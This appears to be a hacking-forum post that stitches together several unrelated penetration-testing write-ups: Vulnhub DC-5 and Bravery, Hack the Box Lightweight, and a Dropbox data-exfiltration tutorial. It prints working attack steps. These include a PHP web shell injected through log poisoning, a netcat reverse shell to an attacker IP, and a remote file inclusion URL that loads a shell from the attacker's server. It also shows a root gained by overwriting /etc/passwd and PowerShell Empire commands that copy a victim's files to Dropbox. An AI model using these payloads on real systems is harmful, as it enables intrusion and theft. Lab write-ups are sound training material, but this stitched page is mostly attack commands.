Login

**NINZA** · 05-14-2020, 05:40 PM

0			0

Today we are going to take another boot2root challenge known as “DC-5”. The credit for making this VM machine goes to “DCAU” and it is another boot2root challenge in which our goal is to get root access to complete the challenge. You can download it from

[To see content please register here]

.
Security Level: Medium
Penetration Methodology
Scanning

Discovering Targets IP
Network scanning (Nmap)

Enumeration

Surfing HTTP service port
Abusing CMS using LFI
Checking Ngnix Access Logs

Exploiting

Exploiting LFI vulnerability using Burpsuite
Using Netcat to get the reverse shell
Spawning a tty shell

Privilege Escalation

Checking SUID binaries
Kernel Privilege Escalation
Accessing root directory
Capture the flag

Walkthrough
Scanning
Let’s start off with scanning the network to find our target.
netdiscover
1
netdiscover
[Image: 1.png?w=687&ssl=1]

We found our Targets IP Address 192.168.1.108. Our next step is to scan our targets IP Address with nmap.
nmap -A 192.168.1.108
1
nmap -A 192.168.1.108
[Image: 2.png?w=687&ssl=1]

Enumeration
From nmap result we found HTTP service is running on port 80. So, we browsed the Targets IP Address in the browser. Let’s explore the webpage for hints.
[Image: 3.png?w=687&ssl=1]

While exploring the page, we found a contact form which seems interesting. We filled the form and submitted it.
[Image: 4.png?w=687&ssl=1]

After submitting the form we were redirected to Thankyou.php page, we notice the Copyright says 2019.
[Image: 5.png?w=687&ssl=1]

On refreshing the page multiple times, we notice changes in Copyright year i.e 2020 AND 2019 where it was called on thankyou.php file. I try to fuzz this URL but it was not that much easier and after spending some time I test for LFI.
[Image: 6.png?w=687&ssl=1]

Therefore, I Quickly checked for LFI Vulnerability by obtaining the /etc/passwd file as shown below.
[Image: 8.png?w=687&ssl=1]

After going through various files path, we found the nginx access log file.
[Image: 9.png?w=687&ssl=1]

Let’s capture the request of the Nginx Access log file using Burpsuite. Here we will be using LFI to exploit apache access log.
[Image: 10.png?w=687&ssl=1]

Exploiting LFI
In place of the file path, we have injected a Code to get the command line access by making a GET request to the Server.
<?php system($_GET['cmd']) ?>
1
<?php system($_GET['cmd']) ?>
[Image: 11.png?w=687&ssl=1]

To verify that it is working or not, we have added a new parameter to the URL i.e &cmd=id. Therefore from the output, it confirms we have successfully executed the command on the server.
[Image: 12.png?w=687&ssl=1]

Using netcat shell with cmd. This will give us a reverse shell over our netcat listener which we have executed alongside.
nc -e /bin/bash 192.168.1.110 1234
1
nc -e /bin/bash 192.168.1.110 1234
[Image: 13.png?w=687&ssl=1]

Booyah!! We have got the reverse shell. To get the proper shell, we have Spawn the Python TTY Shell. Without wasting much time, I looked for SUID enabled binaries and here /bin/screen-4.5.0 looks interesting.
nc -lvp 1234
1
nc -lvp 1234
[Image: 14.png?w=687&ssl=1]

Privilege Escalation
It quickly strikes us to look for this term screen-4.5.0 using searchsploit. And what we got was a LOCAL PRIVILEGE ESCALATION Exploit. We have copied the exploit on our system.
searchsploit screen 4.5.0
searchsploit -m 41154
1
2
searchsploit screen 4.5.0
searchsploit -m 41154
[Image: 16.png?w=687&ssl=1]

When we didn’t find any appropriate method to execute this shell script for post exploitation then I go with manual compilation and review its code using cat command.
cat 41154.sh
1
cat 41154.sh
If you will notice the following code then you will observe this script is written in C language and we have divided it into three part for manual compilation.

Copy Red highlighted the code and past it in a text document and save it as libhax.c
Copy Yellow highlighted the code and past it in a text document and save it as rootshell.c

At last copy remaining code (Green) and past it in a text document and save it as 41154.sh
[Image: 17.png?w=687&ssl=1]

From given below image you can see I have pasted the above copied code inside libhax.c
[Image: 18.png?w=687&ssl=1]

From given below image you can see I have pasted above copied inside rootshell.c
[Image: 19.png?w=687&ssl=1]

From given below image you can see I have pasted above remaining copied inside 41154.sh and save all three text document inside the /etc directory on our system.
[Image: 20.png?w=687&ssl=1]

Let’s compile our C program file manually in our local system using gcc. Similarly, compile rootshell.c file.
gcc -fPIC -shared -ldl -o libhax.so libhax.c
gcc -o rootshell rootshell.c
1
2
gcc -fPIC -shared -ldl -o libhax.so libhax.c
gcc -o rootshell rootshell.c
Since we have stored all the files in a folder shell, now let’s upload them into the target’s system using python server.
python -m SimpleHTTPServer
1
python -m SimpleHTTPServer
[Image: 22.png?w=687&ssl=1]

Let’s just downloading all the files inside the /tmp folder of the previous reverse shell.
wget

[To see content please register here]

wget

[To see content please register here]

wget

[To see content please register here]

1
2
3
wget

[To see content please register here]

wget

[To see content please register here]

wget

[To see content please register here]

After making the file executable and running, we have got the root access. One final thing to do is to read our FINAL FLAG.
chmod 777 41154.sh
./41154.sh
id
cd /root
ls
cat thisistheflag.txt
1
2
3
4
5
6
chmod 777 41154.sh
./41154.sh
id
cd /root
ls
cat thisistheflag.txt
[Image: 24.png?w=687&ssl=1]

In our previous post, we had already discussed “Command and Control with DropboxC2” But we are going to demonstrate Data Exfiltration by using PowerShell Empire where we will extract the unauthorized data inside our Dropbox account. Here you will learn how an intruder can exfiltrate data over cloud storage.
What is Data Exfiltration
Data exfiltration occurs when malware and/or a malicious actor carries out an unauthorized data transfer from a computer. It is also commonly called data extrusion or data exportation. Data exfiltration is also considered a form of data theft. During the past couple of decades, a number of data exfiltration efforts severely damaged the consumer confidence, corporate valuation, and intellectual property of businesses and national security of governments across the world.
[Image: 0.png?w=687&ssl=1]

Methods of Data Exfiltration
Open Methods:

HTTP/HTTPS Downloads & Uploads
FTP
Email
Instant Messaging
P2P filesharing

Concealed Methods:

SSH
VPN
Protocol Tunneling
Cloud Storage Uploads
Steganography
Timing channel

(

[To see content please register here]

)
Generate Token Via Dropbox API
In order to do that, this tool requires a Dropbox API. To get that, first, create an account on Dropbox. Then after creating the account, head to developer tools here. A webpage will open similar to the one shown below. Here we will select the “Dropbox API”. Then in the type of access section, we will choose “App folder”. Name the app as per choice. Then click on Create App Button to proceed.
[Image: 1.jpg?w=687&ssl=1]

This will lead to another webpage as shown below. Here, move on to the O Auth 2 Section, and
Generate access token. This will give the Dropbox API required for this particular practical; now copy the generated token.
[Image: 2.jpg?w=687&ssl=1]

Data Exfiltration
Now we are going to use Powershell empire for exfiltration, considering we have already compromised the victim machine and we are about to complete our mission by copying data from inside the victim without his knowledge.
As you can observe we have Empire-agent which means I have already spawned shell of victim’s machine and Empire has post exploit for data exfiltration where we will use the above token.
usemodule exfiltration/exfil_dropbox
set SourceFilePath C:\Users\raj\Desktop\notes.txt
set TargetFilePath /Apps/notes.txt
set ApiKey <API Token>
execute
1
2
3
4
5
usemodule exfiltration/exfil_dropbox
set SourceFilePath C:\Users\raj\Desktop\notes.txt
set TargetFilePath /Apps/notes.txt
set ApiKey <API Token>
execute
[Image: 3.png?w=687&ssl=1]

As you can observe that I have notes.txt inside /my files which means we have successfully transferred the data from a source location to destination.
[Image: 4.jpg?w=687&ssl=1]

Thus, in this way, we have successfully transferred the data from the victim’s machine to our dropbox and hence this technique is known as dropbox exfiltration.
[Image: 5.jpg?w=687&ssl=1]

Today we are going to solve another CTF challenge “lightweight”. It is a retired vulnerable lab presented by Hack the Box for helping pentesters to perform online penetration testing according to your experience level; they have a collection of vulnerable labs as challenges, from beginners to Expert level.
Level: Intermediate
Task: To find user.txt and root.txt file
Note: Since these labs are online available, therefore, they have a static IP. The IP of lightweight is 10.10.10.119
Penetration Methodologies
Scanning

Network Scanning (Nmap)

Enumeration

Ldap database Enumerate (Nmap NSE-script)
HTTP surfing

Exploiting

Connect to SSH
Identify capability folder
Sniffing password via tcpdump
Obtain user.txt

Privilege Escalation

Extracting backup.7z
Identify another user’s credential
Exploit openssl capability
Obtain root.xt

Walkthrough
Scanning
Let’s start off with our basic Nmap command to find out the open ports and services.
nmap -A 10.10.10.119
1
nmap -A 10.10.10.119
As you can observe that it has shown port 389 is open for LDAP services and 22 & 80 are available for ssh and http respectively.
[Image: 1.png?w=687]

Enumeration
Therefore, with the help of nmap NSE script we go for LDAP enumeration:
nmap -Pn -p 389 --script ldap-search 10.10.10.119
1
nmap -Pn -p 389 --script ldap-search 10.10.10.119
[Image: 2.png?w=687]

Luckily! Nmap listed two ldapuser1, ldapuser2 usernames along with a hash of their password from the result of nmap scan, yet we did not crack them.
[Image: 3.png?w=687]

Since we know that http service was running on port 80 therefore, we navigate to a web browser and browse target IP and welcome by following page where we saw “This site is protected by against brute forcing ” that mean fail2ban could be running inside VM moreover we found three hyperlinks.
[Image: 4.png?w=687]

When I opened the user.php hyperlink I read the highlighted text and according to this text, a user in the machine has been automatically added for us.
[Image: 5.png?w=687]

Exploiting
Therefore, I try to connect with SSH by using 10.10.14.10:10.10.14.10 as login credential. At this point, I was not sure what should be done to extract hidden flag, therefore, I thought to identify the binary capability files with the help of getcap and saw the fruitful result.
ssh [email protected]
getcap -r / 2>/dev/null
1
2
ssh [email protected]
getcap -r / 2>/dev/null
[Image: 6.png?w=687]

As we have seen in the above image that tcpdump has the capabilities to capture all network traffic even in low-privileged access, therefore I trigger the following command to inspect LDAP connection traffic if possible.
tcpdump -i any -X port ldap
1
tcpdump -i any -X port ldap
And then navigate to the browser to activate authentication via status.php, since the loading takes time. There’s something behind the action has to happen.
As result, we observe the following traffic, as predicted, where I found the ldapuser2 password in plaintext.
[Image: 7.png?w=687]

Then we switch the user with the following credential and obtain our first flag user.txt
Username: ldapuser2
Password: 8bc8251332abe1d7f105d3e53ad39ac2
1
2
Username: ldapuser2
Password: 8bc8251332abe1d7f105d3e53ad39ac2
[Image: 8.png?w=687]

Privilege Escalation
Inside the directory /ldapuser2, I found an archive as backup.7z and for its inspection, we need to transfer this file mine in our local machine.
cat backuo.7z | base64
1
cat backuo.7z | base64
[Image: 9.png?w=687]

So, I copied it in our machine and try to extract the file, but it was password protected.
[Image: 10.png?w=687]

Then, by using an online link “lostmyoass.com,” I try to break the password key and then find out the cracked password: delete as in the image below.
[Image: 11.png?w=687]

And use the “delete” password to extract the directory. I found some php files here and we looked for a status.php file among those files.
[Image: 12.png?w=687]

The status.php file reveals the password of ldapuser1 as shown in the image.
[Image: 13.png?w=687]

Thus, we switched to ldapuser1 and navigate inside the directory of ldapuser1
su ldapuser1
password: f3ca9d298a553da117442deeb6fa932d
1
2
su ldapuser1
password: f3ca9d298a553da117442deeb6fa932d
[Image: 14.png?w=687]

This time once again I checked for file capacity where I saw OpenSSL has all privileges to read a file that owned root user and therefore we decided to grab root.txt directly through OpenSSL.
getcap -r / 2>/dev/null
./openssl base64 -a -in /root/root.txt | base64 -d
1
2
getcap -r / 2>/dev/null
./openssl base64 -a -in /root/root.txt | base64 -d
[Image: 15.png?w=687]

Today we will be solving a boot2root lab from Vulnhub called Bravery. This lab, like many others, is a good way to keep your penetration testing skills sharp while getting some variety.
Download it from here:

[To see content please register here]

Penetration Methodologies
Scanning

Netdiscover
Nmap

Enumeration

Mount NFS share directory
SMB shared file enumeration

Exploiting

Abusing CMS via RFI
Obtaining reverse shell via netcat

Privilege Escalation

Abusing SUID binary
Capture the Flag

Walkthrough
Scanning
Let’s start with network scanning to identify the IP of VM with the help of netdiscover.
[Image: 1.png?w=687]

So we have our target IP 192.168.1.105 now, let’s scan services and ports via nmap.
nmap -A 192.168.1.105
1
nmap -A 192.168.1.105
We got a fruitful result from nmap scan as we saw so many services were running on the various port.
[Image: 2.png?w=687]

Enumeration
We found network share service is available via port 2049, so we thought to check shared directory in the network. We have therefore installed NFS-client on our local machine and have a command to identify the shared directory available to mount on our local computer.
showmount -e 192.168.1.105
1
showmount -e 192.168.1.105
we found /var/nfsshare is a shared directory that we can mount in our local machine as given below:
mkdir /tmp/raj
mount -t nfs 192.168.1.105:/var/nfsshare /tmp/raj
cd /tmp/raj
ls
cat discovery
cat enumeration
cat explore
cat password.txt
cat qwertyuioplkjhgfdsazxcvbnm
1
2
3
4
5
6
7
8
9
mkdir /tmp/raj
mount -t nfs 192.168.1.105:/var/nfsshare /tmp/raj
cd /tmp/raj
ls
cat discovery
cat enumeration
cat explore
cat password.txt
cat qwertyuioplkjhgfdsazxcvbnm
Hmmm!!! After exploring all files, we concluded that “qwertyuioplkjhgfdsazxcvbnm” could be the password.
[Image: 3.png?w=687]

Because port 445 is also available for SMB, even we have also obtained a password recently thus we can try connecting to SMB to list shared folders. But first we need to enumerate SMB shared directory and for that, we can go with Enum4linux.
enum4linux 192.168.1.105
1
enum4linux 192.168.1.105
[Image: 4.png?w=687]

As you can observe, enum4linux showed two shared folders: anonymous and secured. And we can access them with the help of smb-client.
smbclient //192.168.1.105/anonymous
password: qwertyuioplkjhgfdsazxcvbnm
1
2
smbclient //192.168.1.105/anonymous
password: qwertyuioplkjhgfdsazxcvbnm
We have successfully accessed the shared folder “anonymous”, where I have seen some user’s folders. But while doing an internal recon, I didn’t notice any interesting clues.
[Image: 5.png?w=687]

So, I’m moving to another “secured” folder and here I found three files, which I downloaded on my local computer.
smbclient //192.168.1.105/secured -U David
password: qwertyuioplkjhgfdsazxcvbnm
get david.txt
get genevieve.txt
get README.txt
1
2
3
4
5
smbclient //192.168.1.105/secured -U David
password: qwertyuioplkjhgfdsazxcvbnm
get david.txt
get genevieve.txt
get README.txt
[Image: 6.png?w=687]

Then, each file opened, and some helpful URLs were found, we’re going to navigate them one by one, moreover, the last line was pitching for any CMS login.
[Image: 7.png?w=687]

Initially, we looked at the URL given below but that was no use to us.
//192.168.1.105/devlopmentsecretpage
1
//192.168.1.105/devlopmentsecretpage
[Image: 8.1.png?w=687]

We then explored another URL and found no useful stuff here, too.
//192.168.1.105/devops/directortestpagev1.php
1
//192.168.1.105/devops/directortestpagev1.php
[Image: 8.2.png?w=687]

At last we move to the third and final URL found from the genevieve.txt. Fortunately, I found the following web page differing from two previous results and it could have been CMS.
[Image: 8.png?w=687]

I found a Cuppa CMS login page by exploring other tabs. This might be a turning point as we are attempting to exploit CMS cuppa.
[Image: 9.png?w=687]

Exploiting
I dig out cuppa exploit from inside the searchsploit without wasting time and the CMS is vulnerable to LFI/RFI.
[Image: 10.png?w=687]

Thus, I found a Remote Inclusion File URL when I checked the POC. We now have to be prepared with a reverse shell for the exploitation of RFI.
[Image: 11.png?w=687]

Therefore, I used php-reverse-shell from inside /usr/share/webshell/php and modified the listening IP with Kali’s IP then launch Python HTTP server for file transferring and start netcat listener on listening port.
[Image: 12.png?w=687]

When everything is ready! Just trigger the following URL to exploit RFI.
//192.168.1.105/genevieve/cuppaCMS/alerts/alertConfigField.php?urlConfig=//192.168.1.110:8000/shell.php?
1
//192.168.1.105/genevieve/cuppaCMS/alerts/alertConfigField.php?urlConfig=//192.168.1.110:8000/shell.php?
[Image: 13.png?w=687]

We’ll get a netcat session for the victim’s machine as soon as we trigger the URL. Now we have a low privilege shell and we need to enhance privilege in order to achieve a higher privilege shell. Therefore, to find SUID enable binaries, I run the following command.
find / -perm -u=s -type f 2>/dev/null
1
find / -perm -u=s -type f 2>/dev/null
Hmmm! So here I notice cp (copy command) has SUID permission that means I can copy any file as root. Now let’s try to escalate the privilege by exploiting SUID enable binary by copying our edited /etc/passwd file inside the victim’s machine.
[Image: 19.png?w=687]

Privilege Escalation
Suppose I would like to create a new user (raj) with root privilege inside /etc/password file of victim’s machine. So first we need to copy the content of /etc/passwd file in a text file inside our local machine and then with the help of OpenSSL generates the salt password for user raj and then copy the salt value.
[Image: 20.png?w=687]

Now open the text file where you have pasted the content of /etc/passwd of victim’s machine and add a new row for user raj along with the salt value that we have generated. Named the file as passwd and transfer this file into victim machine, so that we can replace our /etc/passwd file with original /etc/passwd file of the VM.
[Image: 21.png?w=687]

For downloading /etc/passwd file into Victim’s machine, execute the following command and get the root access to grab the flag.
cd /tmp
wget //192.168.1.110:8000/passwd
cp passwd /etc/passwd
su raj
cd /root
ls
cat proof.txt
1
2
3
4
5
6
7
cd /tmp
wget //192.168.1.110:8000/passwd
cp passwd /etc/passwd
su raj
cd /root
ls
cat proof.txt
[Image: 22.png?w=687]

Login
Username: Password: Lost Password? Remember me
Or Register an account

Announcement : For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis

Announcement :

For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis